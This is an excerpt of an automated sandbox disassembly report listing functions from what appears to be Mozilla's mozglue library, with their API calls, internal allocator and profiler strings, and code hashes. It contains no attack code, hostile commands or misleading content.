API String ID: 919329573-429003945
Opcode ID: db233982c924f0f54b83e47de1fd97eb7d04cdfce7a83b181325151fc03c5f0a
Instruction ID: fe4e907f51a5668c133d6fd73a30f0d2b3b813774157ab130aba0ab375c34927
Opcode Fuzzy Hash: db233982c924f0f54b83e47de1fd97eb7d04cdfce7a83b181325151fc03c5f0a
Instruction Fuzzy Hash: FF928B71A056118FD714CF28CC80715BBE1BF86328F29866DE8699B7D1D7B9E841CBC1

Function 6C56C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C56C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C56C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C56C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C56DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C56DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C56E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C56E472

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a9726ccf477acaf1aa8e3ba751e56d5a01a6742cf670f338750c7e06ff5767be
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 3433A071E0021ACFCB14CFA9C8806ADBBF2FF49310F284669D955ABB65D731A945CB90

Function 6C52ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C52EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C52EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C531695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5316B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C531770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C531A3E

Strings

~qPl, xrefs: 6C52ED10
~qPl, xrefs: 6C52ED13

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qPl$~qPl
API String ID: 3693777188-4133263194
Opcode ID: 6cccdcb1d0f72aa56875879b173207c90e3fe23c728f429a2b48323a342646a4
Instruction ID: fdd3d346c27fb1036906a8ff0d603cc07e09b9cc49aa631c5be3c97c13328a28
Opcode Fuzzy Hash: 6cccdcb1d0f72aa56875879b173207c90e3fe23c728f429a2b48323a342646a4
Instruction Fuzzy Hash: 36B31E71E04229CFCB14CFA8C890A9DB7B2FF89304F158669D459AB745E734AD86CF90

Function 6C51FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51FF81
LeaveCriticalSection.KERNEL32(6C58E7B8), ref: 6C52022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C520240
EnterCriticalSection.KERNEL32(6C58E768), ref: 6C52025B
LeaveCriticalSection.KERNEL32(6C58E768), ref: 6C52027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C520D67, 6C520D7B, 6C520DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51FE99, 6C51FEB7, 6C51FED3, 6C520DB8, 6C520DD3, 6C5219B4
<jemalloc>, xrefs: 6C520D62, 6C520D76, 6C520DA7

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 05eff3b7e0bd457f79042caaae2378b2aa3ca1fd04c38fee96dabd2843578f43
Instruction ID: 3bb9ede42d719695b9f47ef121a1e5141f29a71a07b791fc0c3ae7b1c45fe123
Opcode Fuzzy Hash: 05eff3b7e0bd457f79042caaae2378b2aa3ca1fd04c38fee96dabd2843578f43
Instruction Fuzzy Hash: 00C29D71A067418FD714CF28C890716BBE1AFC6328F28C66DE4AA8B7D5D775E841CB81

Function 6C56E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C56E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C56F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C570E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C570E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C570EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C570ED4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 69079b3c847d14bae87154143bfba343ddbfaa052e22bfd137a0534d4b612d44
Instruction ID: 7cd529adaebdedaed8e312aefb3d8ba085a001d9311f66aaeaf6f1f7608e1872
Opcode Fuzzy Hash: 69079b3c847d14bae87154143bfba343ddbfaa052e22bfd137a0534d4b612d44
Instruction Fuzzy Hash: A6637E71E0025A8FCB14CFA8C8906DDFBF2FF89310F298269D855AB755D731A985CB90

Function 6C543E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C567770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Tl,?,?,?,6C543E7D,?,?), ref: 6C56777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C543F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C543F5C
VerSetConditionMask.NTDLL ref: 6C543F8D
VerSetConditionMask.NTDLL ref: 6C543F99
VerSetConditionMask.NTDLL ref: 6C543FA0
VerSetConditionMask.NTDLL ref: 6C543FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C543FB4

Strings

C>Tl, xrefs: 6C543E93
nvinit.dll, xrefs: 6C544479
nvd3d9wrap.dll, xrefs: 6C544466

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Tl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1071783695
Opcode ID: 1d00a7677dd3bb9f419736e12558bae64ecf9558d2caa33dc73e78b04cf848c7
Instruction ID: 2ec00eac277444c8f745e2f83de9c765482006dcb674221125b7017f7d7c7a98
Opcode Fuzzy Hash: 1d00a7677dd3bb9f419736e12558bae64ecf9558d2caa33dc73e78b04cf848c7
Instruction Fuzzy Hash: 1E52C1B1614B848BD714DF348C84ABBB7E9AF85304F44496DD496CBB82DB34E91ACB60

Function 6C51FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51FF81
LeaveCriticalSection.KERNEL32(6C58E7B8), ref: 6C52022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C520240
EnterCriticalSection.KERNEL32(6C58E768), ref: 6C52025B
LeaveCriticalSection.KERNEL32(6C58E768), ref: 6C52027B

Strings

MOZ_CRASH(), xrefs: 6C520CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51FE99, 6C51FEB7, 6C51FED3, 6C520DB8, 6C520DD3, 6C5219B4, 6C521A10

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: be631dc009dbe1113b661753623d248dc3e80644c0e6bfa7f9b7bbd5cc523d31
Instruction ID: f8355eb094ecdcb95331b32ee5244858b9365448430a08564fa8b2780a174f91
Opcode Fuzzy Hash: be631dc009dbe1113b661753623d248dc3e80644c0e6bfa7f9b7bbd5cc523d31
Instruction Fuzzy Hash: 8FB2BE716067418FD714CF28C990716BBE1BF85328F28C66DE86A8BBD5D779E840CB81

Function 6C555600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C556131
expected a Time entry, xrefs: 6C555CB6
name, xrefs: 6C555E79, 6C555E8F
ProfileBuffer parse error: %s, xrefs: 6C555AC8, 6C555CBB
expected a Count entry, xrefs: 6C555AC3
schema, xrefs: 6C55606D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: b190c815a5738950e027a1da1c840e74b65bccfdfc0c58e41d79c3ac85c22eb0
Instruction ID: aa1169b415b5988e3fbd98ca65b8c7c0f5f150fb1e1907e1712414e1af5628a1
Opcode Fuzzy Hash: b190c815a5738950e027a1da1c840e74b65bccfdfc0c58e41d79c3ac85c22eb0
Instruction Fuzzy Hash: 94923CB1A08341CFD724CF28C89075AB7E1BFC9308F95891EE5999B751DB30E859CB92

Function 6C517810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E744), ref: 6C517885
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C5178A5
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C5178AD
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C5178CD
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C5178D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5178E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C51795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5179BB
LeaveCriticalSection.KERNEL32(?), ref: 6C517BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C517C82
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C517CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C517DAF

Strings

DXl, xrefs: 6C51787F
DXl, xrefs: 6C51789F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DXl$DXl
API String ID: 759993129-179974443
Opcode ID: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction ID: 5d36a098510720a2d4876b9d7b78f55e48144a5a19cc9beb471eca62227e5e8e
Opcode Fuzzy Hash: 6f58ac5a112427e179f436fca9730ac97292d3cdde6843bd072905fbe779907b
Instruction Fuzzy Hash: C3028235A052198FEB54CF19CD88799B7B5FF89358F2542AAD809A7B11D730BE90CF80

Function 6C552E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C552ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C552EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C552F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C553214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C553242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5536BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C55378D
set , xrefs: 6C5536EC
get , xrefs: 6C553205

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 74423d59e8e8b8f5b8a84b33f3d1b541799b14f29d85aec1f83c481567b66a60
Instruction ID: 0b5f237e8de0cc8c2fdb4f3bbd335e0ed87fde4ecce730a2c28afe3e3a316910
Opcode Fuzzy Hash: 74423d59e8e8b8f5b8a84b33f3d1b541799b14f29d85aec1f83c481567b66a60
Instruction Fuzzy Hash: 843260746083818FD724CF24C8906AFB7E2AFC9318F948D1EE59987751DB30E95ACB52

Function 6C547E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C548280, 6C5483E1
(pre-xul), xrefs: 6C547E88
vXl, xrefs: 6C548207
name, xrefs: 6C547ECF, 6C548335
schema, xrefs: 6C5481E3, 6C548311

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vXl
API String ID: 3412268980-3775262732
Opcode ID: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction ID: 9beef3e71fe94c527634fd49cc2da64ede3957363a682e1ec83bf528e6a04867
Opcode Fuzzy Hash: 6525ce6b1adf8d5372eb5ff305e4600b321f93d984c0c22a53981f797d688227
Instruction Fuzzy Hash: D5E18EB1B043548BD710CF688C4066BFBE9BBD4314F148A2DE899E7B90DBB4DC498B91

Function 6C565FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C566009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C566024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QPl,?), ref: 6C566046
OutputDebugStringA.KERNEL32(?,QPl,?), ref: 6C566061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C566069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C566082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C58148E), ref: 6C566091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QPl,00000000,?), ref: 6C5660BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5660C4

Strings

QPl, xrefs: 6C565FFC, 6C566042, 6C566045, 6C5660B3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QPl
API String ID: 3835517998-2864474455
Opcode ID: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction ID: b0a4bb654c0387622c7765bb078971a9dd522fbbd199313783f08423c78394b3
Opcode Fuzzy Hash: b0118a5aa2a975dd7a208c96e3be7cf9b62bf70d84919d8545a51568c0a5fc41
Instruction Fuzzy Hash: 2521E771A012289FDF106F25DC09A9E7BBCFF46314F018428E85AD7641DB74A948CFE5

Function 6C525E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2
memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C5261F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C527652

Strings

ewVl, xrefs: 6C525E9C, 6C525F22, 6C5261ED
MOZ_CRASH(), xrefs: 6C527BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5272F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C527BCD, 6C527C1F, 6C527C34, 6C5280FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C52730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5272E3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewVl
API String ID: 2613674957-1255838230
Opcode ID: 28a9d117e2d3f0cb03310660b04368fb6b1dc3c63dbd064e631965c031a3ddbd
Instruction ID: 06d70071e7f2be737cf9c3ae39f65df16052dd8b4b02c8445fedcea6ef93ceab
Opcode Fuzzy Hash: 28a9d117e2d3f0cb03310660b04368fb6b1dc3c63dbd064e631965c031a3ddbd
Instruction Fuzzy Hash: 06336C716067018FD308CF28C990615FBE2BF85368F29C6ADE9698B7E5D739E841CB41

Function 6C554820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C5549B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C554CAF
Xl, xrefs: 6C554F88
ProfileBuffer parse error: %s, xrefs: 6C554DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C554DB8, 6C554DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C554D65
-%llu, xrefs: 6C554825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C554D0A
schema, xrefs: 6C5548C1

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free
String ID: Xl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-613953806
Opcode ID: e655c05814768792ab9cdd9c40afa173921be2205805696c74690004fe0ceafb
Instruction ID: 24289c9c8ee0c5cd0cd5143f42a7f93fe50979334bca794bea46bf49cd6a578f
Opcode Fuzzy Hash: e655c05814768792ab9cdd9c40afa173921be2205805696c74690004fe0ceafb
Instruction Fuzzy Hash: 27723E71918B858BD322CF34C85139BF7E5BFDA344F508B1EE4896B611EB70A895CB42

Function 6C52D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D6A6
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D712
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C52D82C
<jemalloc>, xrefs: 6C52D827

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction ID: b99f03fd2ab2a3a81a0395265249fd9e6c01f1406b7a3976eaffd1dcf84521cf
Opcode Fuzzy Hash: 6a73811994202a2a0d8b627c8a5e77800609f11860405eea3adddf4d3dc9ef04
Instruction Fuzzy Hash: DA919E71A057518FD714CF28C89076AB7F1EF8A314F15892EE59AC7AC1E778E844CB82

Function 6C564EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

